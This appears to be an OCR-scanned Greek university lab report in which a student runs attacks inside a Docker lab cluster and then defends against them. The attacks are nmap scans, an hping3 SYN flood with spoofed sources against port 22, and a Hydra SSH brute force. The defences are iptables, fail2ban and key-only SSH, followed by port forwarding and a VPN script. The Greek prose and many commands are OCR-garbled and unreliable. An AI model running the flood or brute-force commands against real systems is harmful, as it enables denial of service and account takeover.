


Atoilung Eppovooni

141047

Epyacia Acpdieiag Aiktoov koat Erikovovidv

Git repo https://git.swarmlab.i0:3000/cs141047/141047LabSec.git

Eyxotdotaon docker:

Anuovpyio Kataddyov Kot pokEAOL Yo TO project:
mkdir myproject

cd myproject

**O1 TapoaKdTm eVTOAEG TPETEL VAL EKTEAEGTOVV “UEGA” GTOV (PAKELO TOV project Hog
(cd myproject) **

Anpovpyia opvovg Dockers (swarm):
../install/usr/share/swarmlab.io/sec/swarmlab-sec create

Anpovpyia n cluster:
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=n (6mov n o apOudS TV clusters)



myproject_worker_1
myproject_worker_2
myproject_worker_3
myproject_worker_4
myproject_worker_5
myproject_worker_6
myproject_worker_7
myproject worker 8
myproject worker 9

===> SWARMLAB READY

Hi
B HE HH

To run SEC programs in an interative shell:
1. Login to master node:
Using Docker through command wrapper:
S swarmlab-sec login

Or using SSH with keys through exposed port:
S ssh -o "StrictHostkeyChecking no" -i sshfid rsa -p 2222 sec@localhost
where [localhost] could be changed to the host IP of master node

Execute programs inside master node, for example:
S sudo su
# apt update

Default hostfile of connected nodes in the swarmlab |
is automatically updated at /fetc/opt/hosts |
To obtain hostfile manually: $ get_hosts > hosts

moil@ubuntu:~/swarmlab-sec/myf

XHvdeomn og kamoto amod ta dockers cov master:
../install/usr/share/swarmlab.io/sec/swarmlab-sec login

moil@ubuntu:~/swarmlab-sec/myproject$ ../finstall/usr/sharefswarmlab.io/sec/swarm
lab-sec login

To run a command as administrator (user "root"), use "sudo <command=".

See "man sudo_root"” for detalls.

docker@7bd345043b83: /projects §

Kot extedodpe v mapakdtom evioln(6vtog Hésa 6€ KAmolo container):
ssh docker@<IP>

Me otoryeio:

User password: docker

sudo password: docker






docker@7bd345043b83: /project$ ssh docker@i72.19.0.3

The authenticity of host '172.19.0.3 (172.19.0.3)"' can't be established.
ECDSA key fingerprint is SHA256:9kIZ2WTsBV7EIUNLFIXCOPsSW7m2Wnv8IM3xttraB31E.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '172.19.8.3' (ECDSA) to the list of known hosts.
docker@l72.19.0.3's password:

Welcome to Ubuntu 18.84.5 LTS (GNU/Linux 5.4.0-60-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https:/fubuntu.comfadvantage
This system has been minimized by removing packages and content that are

not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the

individual files in fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

['o v gvpeon g devbuvon Tov GUNVoLg
ekteAovpe (Léca amd To container) TNV EVIOAN:
ifconfig



docker@7bd345043b83: /projectS ifconfig
ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.08.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen @ (Ethernet)
RX packets 69 bytes 18952 (10.9 KB)
RX errors @ dropped @ overruns 8 frame 0
TX packets @ bytes @ (0.0 B)
TX errors @ dropped @ overruns & carrier 8 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 5796 bytes 388332 (388.3 KB)
RX errors @ dropped @ overruns @ frame @
TX packets 5796 bytes 388332 (388.3 KB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

docker@7bd345043b83: /projects I

Kot €nerta yvopilovtag v 61evfuven Tov GUNRvoLS Pmopovpe vo Bpolpe Tig d1evBHveels Tov
workers pe tnv evioaq:

nmap -sP 172.19.0.*
docker@7bd345043b83: /projectS nmap -sP 172.19.0.%

Starting Nmap 7.60 ( https://nmap.org ) at 2821-01-14 09:58 UTC
scan report for ubuntu (172.19.0.1)
is up (0.00067s latency).
scan report for 7bd345043b83 (172.19.0.2)
is up (0.00052s5 latency).
scan report for myproject worker 1.myproject net (172.19.0.3)
is up (0.00050s latency).
scan report for myproject worker 4.myproject net (172.19.0.4)
is up (0.000365 latency).
scan report for myproject worker 3.myproject net (172.19.08.5)
is up (©.008032s latency).
scan report for myproject worker 7.myproject net (172.19.0.6)
is up (0.008026s5 latency).
scan report for myproject worker 6.myproject net (172.19.0.7)
is up (0.008019s latency).
scan report for myproject worker 2.myproject net (172.19.0.8)
is up (©.008015s latency).
scan report for myproject worker 5.myproject net (172.19.08.9)
is up (©.000085s latency).
scan report for myproject worker 8.myproject net (172.19.0.180)
is up (©.000046s latency).
scan report for myproject worker 9.myproject net (172.19.0.11)
is up (©.000077s latency).
done: 256 IP addresses (11 hosts up) scanned in 2.69 seconds

docker@7bd345043b83: /projects |

Topa yvopilovtag 1ig IPs cuvdedpacte otov worker 1:
ssh docker@172.19.0.3



mailto:docker@172.19.0.3

Epdmpa 1
Dos/DDos Attack

[Na va paypatoromoovpe o enibeon Dos Oa eykatactioovpe to epyoreio hping3:
Apykd Ba yperootel va kdvovpe avaBaduion TakéTmv pHe TNy EVIOM):

sudo apt-get update

Ko énetta va eykataoctmoovpe to hping3:

sudo apt install hping3

$ sudo apt install hpifs
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
1libtcl8.6 tzdata
Suggested packages:
tcl8.6
The following NEW packages will be installed:
hping3 libtcl8.6 tzdata
® upgraded, 3 newly installed, ® to remove and 6 not upgraded.
Meed to get 1179 kB of archives.
After this operation, 7410 kB of additional disk space will be used.
Do you want to continue? [Y/n] yes
Get:1 http://farchive.ubuntu.comfubuntu bionic-updates/main amd64 tzdata all 2820
f-Bubuntue.18.04 [190 kB]
Get:2 http://farchive.ubuntu.comfubuntu bionic/main amd64 1libtcl8.6 amd64 8.6.8+d
fsg-3 [881 kB]
Get:3 http://farchive.ubuntu.comfubuntu bionicfuniverse amd64 hping3 amd64 3.a2.d
s52-7 [187 kB]
Fetched 1179 kB in 2s (613 kB/s)
debconf: delaying package configuration, since apt-utils is not installed
selecting previously unselected package tzdata.
(Reading database ... 11458 files and directories currently installed.)
to unpack .../tzdata 2020f-8ubuntu®.18.04 all.deb ...
tzdata (2020f-Oubuntu®.18.04) ...
previously unselected package libtcl8.6:amd64.
to unpack .../libtclg8.6_8.6.8+dfsg-3_amd64.deb ...
libtcl8.6:amd64 (8.6.8+dfsg-3) ...
previously unselected package hping3.
to unpack .../hping3 3.a2.ds2-7_amdé64.deb
hping3 (3.a2.ds2-7) ...
Setting up tzdata (2020f-0ubuntud.18.04) ...
debconf: unable to initialize frontend: Dialog
debconf: (No usable dialog-like program is installed, so the dialog based fronte
nd cannot be used. at fusr/share/perl5/Debconf/FrontEnd/Dialog.pm line 76.)
debconf: falling back to frontend: Readline
Configuring tzdata




Please select the geographic area in which you liwve. Subsequent configuration
questions will narrow this down by presenting a 1list of cities, representing
the time zones in which they are located.

1. Africa 4. Australia 7. Atlantic 16. Pacific 13. Etc
2. America 5. Arctic 8. Europe 11. SystemV
3. Antarctica 6. Asia 9. Indian 12. Us

Geographic area: 8
Please select the city or region corresponding te your time zone.

. Amsterdam 17. Guernsey 33. Monaco 49. Stockholm
. Andorra 18. Helsinki 34. Moscow 560. Tallinn
Astrakhan 19. Isle of Man 35. MNicosia 51. Tirane
Athens 20. Istanbul 36. Oslo 52. Tiraspol
Belfast 21. Jersey 37. Paris 53. Ulyanovsk
Belgrade 22. Kaliningrad 38. Podgorica 54. Uzhgorod
Berlin 23. Kiev 39. Prague 55. Vaduz
Bratislava 24. Kirowv 4@8. Riga 56. Vatican
Brussels 25. Lisbon 41. Rome 57. Vienna
Bucharest 26. Ljubljana 42. Samara 58. Vilnius
Budapest 27. London 43. San_Marino 59. Volgograd
Busingen 28. Luxembourg 44, Sarajevo 60. Warsaw
Chisinau 29. Madrid 45. Saratow 61. Zagreb
Copenhagen 38. Malta 46. Simferopol 62. Zaporozhye
Dublin 31. Mariehamn 47. skopje 63. Zurich
Gibraltar 32. Minsk 48. Sofia
zone: 4

W=~ b W=

Current default time zone: 'Europe/Athens'

Local time is now: Thu Jan 14 12:04:04 EET 2021.
Universal Time is now: Thu Jan 14 10:04:04 UTC 2@21.
Run 'dpkg-reconfigure tzdata' if you wish to change 1it.

.6.8+dfsg-3) ...
Setting up hping3 (3.a2.dsz2-7) ...
Pricesstng triggers for libc-bin (2.27-3ubuntul.3)
s

Yuvdeopaote o€ évav dAhov worker avolyovtag éva GALO TEPUATIKO KO WAYVOLLLE Yo “ovoryTd”
ports AGTE VO TPAYUATOTOGOLVLE TNV EMOEoN HOG :
ssh docker@172.19.0.4

KO YAYVOVLLE Y10 0VOTYTA ports:
nmap —p— 172.19.0.4

$ nmap -p- 172.19.0.4

Starting Nmap 7.60 ( https://nmap.org ) at 2021-01-14 10:50 UTC
Failed to resolve "

Mmap scan report for 3a4db59%e54ec (172.19.0.4)

Host is up (0.000087s latency).

Mot shown: 999 closed ports

PORT STATE SERVICE

22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in ©.95 seconds

s



mailto:docker@172.19.0.4

Enopévogn eniBeon pog Oa yiver oty Port 22.And tov worker 1 ektedolpue pe dtkoudpoto
Ol EPLOTY:
sudo hping3 -V -¢ 400 -d 120 -S -p 22 --flood --rand-source 172.19.0.4

Omov

-V:Verbose output enable

-C:ap1OUOG TAKETWOV

-d:péyeboc maxétmv

-S:tOmog Tov maxétov(Epeig B¢ ovue makétov Tomov SYN)

-p:op1Oudg port
--flood:emioyn KatakAvGpoU TokéTmv
--rand-source:emA0YN ELEAVIONS TUYAIOV YDV

H eniBeon mpaypoatomombnke 0nmg pog Pefardvovy ta epyareia netstat kot tepdump.
Aivovtag Tnv evtoAn netstat otov worker 4, £yove:

S netstat

Active Internet connections (wfo servers)

Proto Recv-Q Send-Q Local Address Foreign Address State
3a4db59e54e 253.172.172.59:27888 SYN_RECV
3a4db59e54e 59-120-246-36.HIN:48248 SYN_RECV
3a4db59e54ec:22 125.234.102.106.h:27919 SYN_RECV
3a4db59e54ec:22 36.145.116.228:27915 SYN_RECV
3a4db59e54e bras-base-toroon4:48241 SYN_RECV
3a4db59e54e 84.16.203.3:27922 SYN_RECV
3a4db59e54e 120.68.244.10:27911 SYN_RECV
3a4db59e54ec:22 76-91-151-165-jax:48251 SYN_RECV
3a4db59e54ec:22 118.37.198-165.dc:48283 SYN_RECV
3a4db59e54e ec2-15-222-21-251:27925 SYN_RECV
3a4db59e54e nothing.attdns.co:48288 SYN_RECV
3a4db5%e54ec:22 39.198.19.154:27926 SYN_RECV
3a4db59e54ec:22 205.1.40.36:48278 SYN_RECV
3a4db5%e54ec:22 111.225.219.165: 279607 SYN_RECV
3a4db59e54e 251.190.48.130:48297 SYN_RECV
3a4db59e54e 65-36-59-211.s5tat:48294 SYN_RECV
3a4db59e54e 173.39.15.255:48301 SYN_RECV
3a4db59e54e 22.230.183.52:48282 SYN_RECV
3a4db59e54e 144.184.218.142: 48280 SYN_RECV
3a4db59e54e cpe-124-179-10-21:48243 SYN_RECV
3a4db59e54ec:22 34.124.176.184:48285 SYN_RECV
3a4db59e54ec:22 244.68.180.186:27869 SYN_RECV
3a4db59e54e 17.179.40.45: 48289 SYN_RECV
3a4db59e54e 31.s5ub-97-203-46.:48303 SYN_RECV
3a4db59e54ec:22 myproject_master_:46746 ESTABLISHED
3a4db59e54ec:22 205.225.195.189:51275 SYN_RECV
3a4db59e54ec:22 250.146.183.178:51276 SYN_RECV
3a4db59e54e 249.23.103.88:51329 SYN_RECV
3a4db59e54e 43.28.8.131:51967 SYN_RECV
3a4db59e54e 157.52.240.160:51295 SYN_RECV
3a4db59e54ec:22 softbank220036146:51949 SYN_RECV
3a4db59e54ec:22 107.198.246.182:51327 SYN_RECV
3a4db59e54e 250.68.177.222:51961 SYN_RECV
3a4db59e54e 214.179.225.27:51266 SYN_RECV
3a4db59e54e 240.59.22.218:51293 SYN_RECV
3a4db59e54e mobile-193-4-165-:51903 SYN_RECV
3a4db59e54e 152.142.23.42:51290 SYN_RECV
3a4db59e54e 148.39.177.37:51940 SYN_RECV
3a4db59e54ec:22 120.176.16.165:51982 SYN_RECV
3a4db59e54ec:22 147.22.19.93:51913 SYN_RECV
3a4db59e54e 142-217-37-17.tel:51919 SYN_RECV
3a4db59e54e 17.240.68.192:51308 SYN_RECV
3a4db59e54e 157.59.146.143:519607 SYN_RECV
3a4db59e54ec:22 emll45.ride.reyre:51310 SYN_RECV
3a4db5%e54ec:22 125.93.16.185:51285 SYN_RECV
3a4db59e54e h65.42.23.98.stat:51277 SYN_RECV
3a4db59e54e 10.143.219.65:51269 SYN_RECV
3a4db59e54e 246.26.91.232:51299 SYN_RECV
3a4db59e54ec:22 195.193.34.116:51934 SYN_RECV
3a4db59e54ec:22 154.242.0.222:51959 SYN_RECV
3a4db59e54ec:22 251.241.176.148:51307 SYN_RECV

[clcNclcBclolcoNolcNolclcoNooloNolcNolofololcNololoNol- WollcNolololcNcolololaoNcloNoNoloNolclolololcNololcl
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KOl JLE TNV EVTOAN:

tcpdump port 22 && 'tep[tepflags]== tcp-ack’

EYOuLE:

s [P.], seq 5732:6072, ack 1, win 581, options [nop,nop,TS val 946081998 ecr 96

K921531], length 340

12:43:30.484691 IP 160-41-174-54.599.a049.ap.plala.or.jp.15366 > 3a4db59%9e54ec.22
Flags [5], seq 1367812963:1367813083, win 512, length 120

12:43:30.883423 IP 3a4db59%e54ec.22 > myproject master_1.myproject net.46746: Fla

s [P.], seq 6872:6436, ack 1, win 581, options [nop,nop,TS val 946082397 ecr 96

K921722], length 364

12:43:30.884057 IP host-41.38.3.155.tedata.net.22735 > 3a4db59%9e54ec.22: Flags [S

], seq 880810463:880810583, win 512, length 120

12:43:31.083929 IP 3a4db59e54ec.22 > myproject master 1.myproject net.46746: Fla

hs [P.], seq 6436:6768, ack 1, win 581, options [nop,nop,TS val 946082598 ecr 96

K922122], length 332

12:43:31.084975 IP nothing.attdns.com.26732 > 3a4db59e54ec.22: Flags [5], seq 20

31521623:2031521743, win 512, length 120

12:43:31.243722 IP 3a4db59e54ec.22 = myproject master 1.myproject net.46746: Fla

hs [P.], seq 6768:71080, ack 1, win 581, options [nop,nop,TS val 946082758 ecr 96

5922322], length 332

12:43:31.244555 IP 185.3.171.47.29684 > 3ad4db59e54ec.22: Flags [5], seq 18332272
3:1833227393, win 512, length 120

12:43:31.656085 IP 3a4db59e54ec.22 > myproject master 1.myproject net.46746: Fla

s [P.], seq 7100:7464, ack 1, win 501, options [nop,nop,TS val 946083170 ecr 96

5922481], length 364

12:43:31.656828 IP web19647.car-part.com.37604 = 3a4db5%e54ec.22: Flags [S], seq
367723778:367723898, win 512, length 126

12:43:31.849673 IP 3a4db59e54ec.22 > myproject master 1l.myproject net.46746: Fla

s [P.], seq 7464:7812, ack 1, win 581, options [nop,nop,TS val 946083364 ecr 96

K922894], length 348

12:43:31.850747 IP 188.92.90.247.41092 > 3addb59%e54ec.22: Flags [S5], seq 7706781

50: 770678270, win 512, length 120

12:43:32.131527 IP 3a4db59e54ec.22 > myproject _master_1l.myproject net.46746: Fla

s [P.], seq 7812:8152, ack 1, win 5081, options [nop,nop,TS val 946083645 ecr 96

K923087], length 340

12:43:32.132232 IP 92-48-119-1.static.as29550.net.46680 > 3ad4db59e54ec.22: Flags
[S], seq 483072988:483073108, win 512, length 120

12:43:37.170448 IP 3a4db59%e54ec.22 > myproject master_1.myproject net.46746: Fla

s [P.], seq 8152:8484, ack 1, win 5081, options [nop,nop,TS val 946088684 ecr 96

K923369], length 332

12:43:37.171235 IP 140.161.182.155.15959 > 3a4db5%9e54ec.22: Flags [S], seq 208297

6807 :2029766927, win 512, length 120

12:43:37.423415 IP 3a4db59%e54ec.22 > myproject_master_1l.myproject net.46746: Fla

s [P.], seq 8484:8824, ack 1, win 581, options [nop,nop,TS val 946088937 ecr 96

K928408], length 340

12:43:37.424193 IP 144.65.111.88.20835 > 3addb59%e54ec.22: Flags [S], seq 2492576
124925889, win 512, length 120

12:43:37.610937 IP 3a4db59e54ec.22 > myproject master 1.myproject net.46746: Fla

hs [P.], seq B8824:9156, ack 1, win 581, options [nop,nop,TS val 946089125 ecr 96

5928661], length 332

12:43:37.612054 IP 161.246.176.116.24383 > 3ad4db59e54ec.22: Flags [5], seq 15453

PO878:1545300998, win 512, length 120

12:43:37.764777 IP 3a4db59e54ec.22 = myproject master 1.myproject net.46746: Fla

hs [P.], seq 9156:9504, ack 1, win 581, options [nop,nop,TS val 946089279 ecr 96

5928849], length 348




BAémovpe Aourdv mAnbmdpa punvopdtov o eddytoto ypdvo amd tov worker 1 emPefaidvovrog to
dos attack.I'to apovBovpe mpémel va TapapeTpomot|covle To iptables kot va mpocBécovpe KavOveg
duoyelptong TaKET®V IKAVOVG VAL aVIYVELOLV KOl VO GTOUOTOVV TNV Enifeon.

Extelovpe otov worker 4 tnv evioAn:

iptables -A INPUT -s <IP> - DROP

OOV

IP:m devBuvon amd v omoia BEAOVE Va kbvovpe drop v lcepyOUEVT Kiviion

Rk EX A0 avTO TO onueio Kot péypt To T€A0G TG doknomg,Adyo Adbovg,Ha

xpNoomotovvTon ot IPs 172.23.0.0/] 6% H ks asioteddasdasiotiotkodk sokaok

BA\émovpe 611 0ev vdipyel TAEov kivnon amd v emtifépevn IP oty port 22 ekteAdvTag TV
evtoM): sudo tcpdump -nnvvS src 172.23.0.3 && dst port 22

tcpdump: listening on eth®, link-type EN18MB (Ethernet), capture size 262144 byt
es
13:50:16.001281 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.23.0.4

tell 172.23.0.3, length 28

Ko pe v gvtoAn iptables -nvL fAémovpe 6vimg 6Tt 6An ) kivnon and tov worker 1 €yet
UTAOKOPIoTEL

INF'UT {pollcy ACCEPT 5823K packets, 201M bytes)
bytes target prot opt in out source destination

1194M DROP all  -- 172.23.0.3 0.0.0.0/0

"Evag dAAog kavovag mov av Kot Oyt TéAEL0 ,0ev amokAeiet andivta v kivnon and pio IP Ba
UmopoVGE va, EXEL TNV LOPON:

iptables -A INPUT -m limit --limit 1/s --limit-burst 1 -j DROP

L€ TOV 07010 AmOPPITTOVTOL TOKETA TOL £XOVV ETAGEL Pe pLOUO peyaAdTEPO 0md 2 avdL
Ssvrspokemo

N er# Lp
hain INPUT (policy ACCEPT 56201 packets, 8991K bytes)
pkts bytes target prot opt in out source destination

42 4400 DROP all -- = = 0.0.0.0/0 0.0.0.0/0
limit: avg 1/sec burst 2

Onwg BAEmovpe €xet Komel kdmota kivnon.



Emiong pe v televtaio tpomonoinom tov iptable apob dev amokAeiovpe Kivnon otoxevpéva omd
pa d1evbvvon pmopovpe va mpaypoatoromcovpe kot DDOS Attack .Qa eykatactioovpe o Evav
master Tic VInpecieg ansible pe T evioAéc:

$ sudo apt update

$ sudo apt install software-properties-common

$ sudo apt-add-repository --yes --update ppa:ansible/ansible

$ sudo apt install ansible

ko 0o TpocBiécovpe 6to apyeio hosts Tig O1eVOVVOEIC TV containers pog









root@®7d1931a9bf2: /home/docker# cd /
root@e7d1931a9bf2: /# 1s

bin dev home 1ib64 mnt proc root sbin sys
boot etc 1ib media opt run Srv
root@?7d1931a9bf2: /# cd fetc/ansible/hosts

bash: cd: /etc/ansible/hosts: Not a directory
root@97d1931a9bf2: /# cd Jetc/ansible/
root@97d1931a9bf2: fjetc/ansible# 1s

ansible.cfg hosts roles

root@27d1931a9bf2: /fetc/ansible# nano hosts

[containers]
.21.6.

[containers:vars]

ansible_user=docker
ansible_password:dockerl

OTOL containers:vars To GToL el E.0000V HECH TNG VINPESiaG ssh yia v avtdpatn cHVOEST TOVG

‘Enerta av emeEepyactoipe 1o apyeio ansible.cfg divovtag tov eVIOAEC Yo TV £YKOTAGTACT) TOV
hping3 kaBd¢ kot v evioAn emibeong ,idta pe TV mo Tave Ba propoHGOLE VO TPOGOUOIDCOVIE
v enmifeon. Avotuy®dg dev KaTdpepa va Ypay®m cootd to apyeio ansible.cfg dote va pov
OOVAEYEL COOTA.



Epotpua 2:
[Ipocopoimon SSH Brute Force Attack

®a gykatactnoovpe to gpyoaieio hydra yio v Tpocopoimon e AoKNnoNg Le TNV EVTOAN:
apt-get install hydra

Kol Bo SNUOVPYNCOLLE VA VO VTTOTLTTMOES .tXt apyeia e KATO10VE TLYUIOVG KMIKOVS Kot
ovopota 16650V

(og dir péoa oto docker) :

nano pass.txt

root@13d314fe25f6: fhome# nano pass.txt

nano logs.txt
root@13d314fe25f6: /home# nano logs.txt

Kévovtag login otov worker 5 8a mpaypatonomcovpe SSH Brute Force Attack otov worker 4 pe
™V EVTOM:
hydra -L logs.txt -P pass.txt ssh://172.23.0.4

Omnov
-L:to apyeio pe ta logins
-P:to apyeio pe Ta pass

root@13d314fe25f6: /home# hydra -L logs.txt -P pass.txt ssh://172.23.0.4
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-81-14 15:22:15

[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 40 login tries (l:4/p:10), ~
3 tries per task

[DATA] attacking ssh://172.23.0.4:22/

[22][ssh] host: 172.23.0.4 login: docker password: docker

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 2 final worker threads did not complete u
ntil end.

[ERROR] 2 targets did not resolve or could not be connected

[ERROR] 16 targets did not complete

Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-14 15:22:20
root{@l3d314fe25f6: fhome#

[No v avtipetomion g enibeon pe to Fail2ban mpémetl apyikd vo to €yKaTOGTCOVUE
YPNOYLOTOUDVTOG TNV EVIOAN:
sudo apt install fail2ban

['a va unv xaBovv o1 aArayéc mov kdvovpe oto apyeio jail.conf wov elval kot 1o apyeio mov O



TOPOUETPOTOMGOVLE , APKEL VO TO avTrypayoupe 6to apyeio jail.local pe v evron:
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

root@13d314fe25f6: /home/docker# cd /etc/failzban
root@13d314fe25f6: fetc/fail2zban# 1s

action.d filter.d jail.local paths-debian.conf
failzban.conf jail.conf paths-arch.conf paths-opensuse.conf

failzban.d jail.d paths-common.conf

root@l3d314fe25f6: fetc/fallzban# sudo cp fetc/failzban/jail.conf /jetc/failzban/j
ail.local

root@l3d314fe25f6: fetc/faill2ban# I

Avotyovtag 1o apyeio jail.local cuvavtape v meproyn sshd mov givon ko 1 Tepoy TV KOVOVOY
OV TTPETEL VAL TPOGHECOVLE:
nano jail.local

‘Enerta pe tov editor g emhoyng pog mpocHETovpe TIC EMAOYEG OTMOS PAivovTol 6TV EIKOVAL:

Omov :

bantime:o ypo6vog mov Ba Tapapeivel amoKAEICUEVOG 0 EmTIOEUEVOG
enables=true: ywo TV gvepyonoinomn Tov UNyavicHon
logpath:n TomoBecia Tov apyeiov Kotaypoapng

[ssh]

enabled = true

filter = sshd

logpath = fvar/log/fauth.log
maxretry = 3

bantime = 1h




[ INCLUDES ]

before = paths-debian.conf

[DEFAULT]

Read 890 lines

A A 3+ N AL ALY A

maxretry:d HEYIGTOG EMTPETOUEVOS aplOUOS TPOoTADEIDV

To gpyaieio fail2ban dovAeye e emttuyio OTOC aiveTol omd TV TPOSTADELN TOV EMTIOEUEVOL
worker kaOm¢ kot amd to iptable tov id10v worker mwov €rpe€e o 2b
root@l3d314fe25f6: fhome# hydra -L logs.txt -P pass.txt ssh:/[/172.23.0.4
Hydra v8.6 (c) 2017 by wvan Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-14 20:22:15

[WARNING] Many SSH configurations 1limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 40 login tries (l:4/p:18), ~
3 tries per task

[DATA] attacking ssh://172.23.0.4:22/

[ERROR] could not connect to ssh://172.23.0.4:22 - Connection refused
root@13d3i4fe25f6: fhome#




root@7804b299f8e2: Jetc/fail2ban# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

f2b-ssh tcp -- anywhere anywhere multiport dports @
165535

DROP all -- myproject worker 1.myproject net anywhere

DROP all -- myproject worker 1.myproject net anywhere

Chailn FORWARD (policy ACCEPT)
target prot opt source destination

Chailn QUTPUT (policy ACCEPT)
target prot opt source destination

Chain f2b-ssh (1 references)

target prot opt source destination

REJECT all -- myproject worker 5.myproject net anywhere
t-with icmp-port-unreachable

RETURN all -- anywhere anywhere

Chain f2b-sshd (@ references)

target prot opt source destination
RETURN all -- anywhere anywhere
RETURN all -- anywhere anywhere
RETURN all -- anywhere anywhere
RETURN all -- anywhere anywhere
root@7804b299f8e2: Jetc/fail2ban# I

2TV GLVEYELD Y10 VOL TPOTTOTTOGOVE TO ssh-server dote vo emtpénel povo cuvdéoelg péocm key
TPETEL APYIKE VO ETOVAPEPOVLLE TNV EMKOV®Via Tov worker 4 kot worker 5 dwaypdovtog tnv
dovAeld Tov fail2ban pe Tig evioAés :

sudo fail2ban-client unban —all

sudo fail2ban-client stop

root@7804b29978e2: fetc/failZban# sudo failZban-client unban --all
1
root@7804b299f8e2: fetc/fail2ban# sudo fail2ban-client stop
Shutdown successful

root@7804b299f8e2: fetc/TailZban# I

>tV ocvvéyewo ardddlovpe To apyeio sshd config mov Bpiokete oto povomdr /etc/ssh/sshd config
KAVOLLLE TIG AAAAYEG TTOV (OIVOVTOL OTNV GMTOYPAPio

sudo nano /etc/ssh/sshd_config

root@7804b299f8e2: fetc/failZban# sudo nano fetc/ssh/sshd _config




LogLevel VERBOSE[]

PermitRootlLogin prohibit-password

KOl TPOLYLOTOTTO0VUE restart Tng vanpeciog ssh yio vo govodv ot GAAAYEC LLE TNV EVTOAN :
sudo service ssh restart

e €vo, GAAO TEPUOTIKO ONUIOVPYOVLE Kot GTEAVOLLLE Eva KAELOT IE TIC EVIOALS:
ssh-keygen

ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.23.0.4

T0 KA1 pag tvon pass1234


mailto:docker@172.23.0.4

root@l3d3i14fe2s5f6: /home# ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.sshfid rsa):

Created directory '/root/.ssh'.

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

our identification has been saved in froot/.ssh/id rsa.

our public key has been saved in /root/.ssh/id_rsa.pub.

The key fingerprint is:
SHAZ256:ga4F9cUudtelpb55QrhBz87MmvFvMgOu7X32z1vK4gY root@l3d3l4fe2sfo
The key's randomart image 1is:

+---[RSA 2648]----+

| 5 oo |

I I
I I
I I
I I
I I
I I
| .0=80=0. |
| O=+*&+4+=|
4+----[SHA256]
root@13d314fe25f6: /homez |

['a v obvdeon otov worker 4 mAéov yperdletar To KAEWL pag.

Epotua 3

[Na to epdTHO 3 apkel va ektehécovpe omd TO TEPUATIKO pag TV evtoAn sudo ssh -4 -L
8005:192,168,116,228:9005 docker@172.23.0.3 yw local forward kou tnv evtoAn sudo ssh -R
8005:192,168,116,228:9005 docker@172.23.0.3 yio. remote forward 6mov -L local kot -R remote

moil@ubuntu:~$ ssh -4 -L 8005:192.168.116.228:9005 docker@172.23.0.3

The authenticity of host '172.23.0.3 (172.23.0.3)' can't be established.
ECDSA key fingerprint is SHA256:9kIZ2WTsBV7EIUNLFIXcOPSW7m2Wnv8IM3xttraB31E.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '172.23.8.3' (ECDSA) to the list of known hosts.
docker@l72.23.0.3's password:

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-60-generic xB6_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Lait login: Thu Jan 14 15:31:44 2821 from 172.23.0.2
$



mailto:docker@172.23.0.3
mailto:docker@172.23.0.3

moil@ubuntu:~$ sudo ssh -R 8084:localhost:80 docker@i72.23.0.3
[sudo] password for moil:

docker@l72.23.0.3's password:

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-60-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jan 15 00:41:27 2021 from 172.23.0.1

Epomua 4
Anuovpyio VPN

Apycd dnpiovpyodpe to directory 6to omoio Bo amobnkedovtal To dESOUEVA LUE TNV EVTOM :
sudo mkdir -p /var/lib/swarmlab/openvpn/openvpn-services/

Anuovpyovpue Evav eakelo oto swarmlab-sec e 10 6vopa vpn 6to omtoio Ba pTidEovpe ta scripts
Hog



O K®OKOS Yo TO script TG Onpovpyiog EOIVETOL GTNV EIKOVAL:

GNU nano 2.9.3 create-vpn.sh

1194
VPN_SERVER="'10.80.0.0/16"

pn_data /openvpn-services/

mkdir -p

NAME=swarmlab-vpn-services
DOCKERnetwork=swarmlab-vpn-services-network
Hocker=registry.vlabs.uniwa.gr:5080/myownvpn

docker stop
leep 1
docker container rm

Jopenvpn.conf.*.bak
Jopenvpn.conf
Jovpn_env.sh.*.bak
Jovpn_env.sh

docker network create --attachable=true --driver=bridge --subnet-=172.50.0.8/16 --gateway=172.50.0.1

docker run --npet=none -it -v Jetcfopenvpn -p 1194:1194 --rm ovpn_genconfig udp: /[
- N -Cc -p "route 172.50.20.0 255.255.255.0" "topology subnet”

docker run --net=none -v Jetcfopenvpn --rm -it ovpn_initpki

